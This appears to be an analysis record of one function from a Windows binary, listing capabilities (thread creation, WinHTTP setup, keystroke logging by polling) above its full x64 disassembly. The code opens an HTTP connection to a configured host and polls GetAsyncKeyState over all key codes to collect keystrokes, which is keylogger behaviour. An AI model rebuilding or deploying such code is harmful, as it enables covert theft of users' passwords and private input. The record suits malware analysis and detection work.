Function at 0x140006000
Capabilities:
Create thread
Initialize winhttp library
Log keystrokes via polling

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
sub rsp, 0x70
mov rax, qword [0x140034190]
xor rax, rsp
mov qword [rsp + 0x60], rax
xor ebp, ebp
lea rcx, [0x140029f48]
xor r9d, r9d
mov dword [rsp + 0x20], ebp
xor r8d, r8d
xor edx, edx
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
test rax, rax
jne 0x140006050
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.___Failed_to_open_session__n
call fcn.140008070
jmp 0x140006057
mov qword [0x1400375b8], rax
call fcn.1400033a0
movzx esi, word [0x1400375d0]
lea rdx, [0x1400375f8]
lea rcx, [rsp + 0x40]
call fcn.140007090
mov rbx, rax
mov rdx, rax
cmp qword [rax + 0x18], 8
jb 0x140006084
mov rdx, qword [rax]
mov rcx, qword [0x1400375b8]
xor r9d, r9d
movzx r8d, si
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov rsi, rax
test rax, rax
jne 0x1400060f5
mov rcx, qword [0x1400375b8]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rdx, qword [rbx + 0x18]
cmp rdx, 8
jb 0x1400060ec
mov rcx, qword [rbx]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x1400060e7
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400061b3
mov rcx, r8
call fcn.14002121c
mov rsi, rbp
movzx r9d, bp
jmp 0x140006137
mov rdx, qword [rbx + 0x18]
cmp rdx, 8
jb 0x140006134
mov rcx, qword [rbx]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x14000612f
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400061b3
mov rcx, r8
call fcn.14002121c
mov r9d, ebp
mov r8d, 0x10
mov rdx, rbp
mov eax, 7
mov rcx, rbx
mov ecx, r8d
mov qword [rbx + r8], rdx
mov qword [rbx + 0x18], rax
mov word [rbx], r9w
mov qword [0x1400375c8], rsi
call fcn.140020ec0
lea rcx, [0x140005760]
mov r9, rax
lea r8, [0x140009b90]
xor edx, edx
mov qword [rax + 8], rcx
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov qword [rax], rbp
mov dword [rsp + 0x20], ebp
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x30], rax
test rax, rax
je 0x140006373
cmp dword [rsp + 0x38], ebp
jne 0x1400061ba
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
movaps xmm0, xmmword [rsp + 0x30]
lea rcx, [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
je 0x1400061dd
mov ecx, eax
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
int3
mov qword [rsp + 0x90], r12
xorps xmm0, xmm0
mov qword [rsp + 0xa0], r15
mov r12d, 0xffff8001
movdqa xmmword [rsp + 0x30], xmm0
lea r15, [0x140037638]
mov qword [rsp + 0x98], r14
mov edi, 8
mov ecx, edi
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cmp ax, r12w
jne 0x14000630e
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx ebx, ax
mov ecx, 0x14
shr ebx, 0xf
call qword [sym.imp.USER32.dll_GetKeyState]
and al, 1
and bl, 1
jne 0x14000624e
test al, al
jne 0x14000624e
xor r8b, r8b
jmp 0x140006251
mov r8b, 1
mov edx, edi
lea rcx, [rsp + 0x40]
call fcn.140003a20
cmp qword [rsp + 0x58], 8
lea r9, [rsp + 0x40]
mov rcx, qword [0x140037650]
cmovae r9, qword [rsp + 0x40]
mov rax, rcx
mov r14, qword [0x140037648]
mov rsi, qword [rsp + 0x50]
sub rax, r14
cmp rsi, rax
ja 0x1400062c0
cmp rcx, 8
lea rax, [rsi + r14]
mov rbx, r15
mov qword [0x140037648], rax
cmovae rbx, qword [0x140037638]
lea r8, [rsi + rsi]
mov rdx, r9
lea rcx, [rbx + r14*2]
call sub.VCRUNTIME140.dll_memmove
lea rax, [r14 + rsi]
mov word [rbx + rax*2], bp
jmp 0x1400062d0
mov rdx, rsi
mov qword [rsp + 0x20], rsi
mov rcx, r15
call fcn.140008d30
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x14000630e
mov rcx, qword [rsp + 0x40]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006309
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006335
call fcn.14002121c
cmp edi, 0xff
jge 0x14000620b
inc edi
cmp edi, 0xff
jle 0x140006210
cmp dword [rsp + 0x38], ebp
je 0x14000633c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov r14, qword [rsp + 0x98]
xor eax, eax
mov r12, qword [rsp + 0x90]
mov r15, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140020e90
mov rbx, qword [rsp + 0xa8]
add rsp, 0x70
pop rdi
pop rsi
pop rbp
ret
mov ecx, 6
mov dword [rsp + 0x38], ebp
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3